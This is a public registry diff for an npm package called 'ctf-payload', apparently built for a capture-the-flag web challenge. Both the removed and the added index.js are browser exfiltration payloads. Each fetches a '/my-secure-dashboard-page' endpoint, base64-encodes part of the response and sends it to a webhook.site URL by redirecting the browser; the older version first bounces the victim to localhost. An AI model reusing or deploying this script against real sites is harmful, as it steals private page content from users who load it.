ctf-payload 1.0.12 → 1.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +8 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,12 +1,8 @@
1
- if(window.location.hostname === '127.0.0.1'){
2
- // Stage 2: đang ở localhost, fetch dashboard
3
- fetch('/my-secure-dashboard-page')
4
- .then(r=>r.text())
5
- .then(t=>{
6
- const chunk = t.substring(0,800);
7
- window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?d='+btoa(unescape(encodeURIComponent(chunk)));
8
- });
9
- } else {
10
- // Stage 1: redirect sang localhost
11
- window.location='http://127.0.0.1:8255/';
12
- }
1
+ fetch('/my-secure-dashboard-page')
2
+ .then(r=>r.text())
3
+ .then(t=>{
4
+ window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?d='+btoa(unescape(encodeURIComponent(t.substring(0,800))));
5
+ })
6
+ .catch(e=>{
7
+ window.location='https://webhook.site/ba852a6a-af9e-42fe-a1a5-89175bd3dc9c?err='+e.message;
8
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ctf-payload",
3
- "version": "1.0.12",
3
+ "version": "1.0.13",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"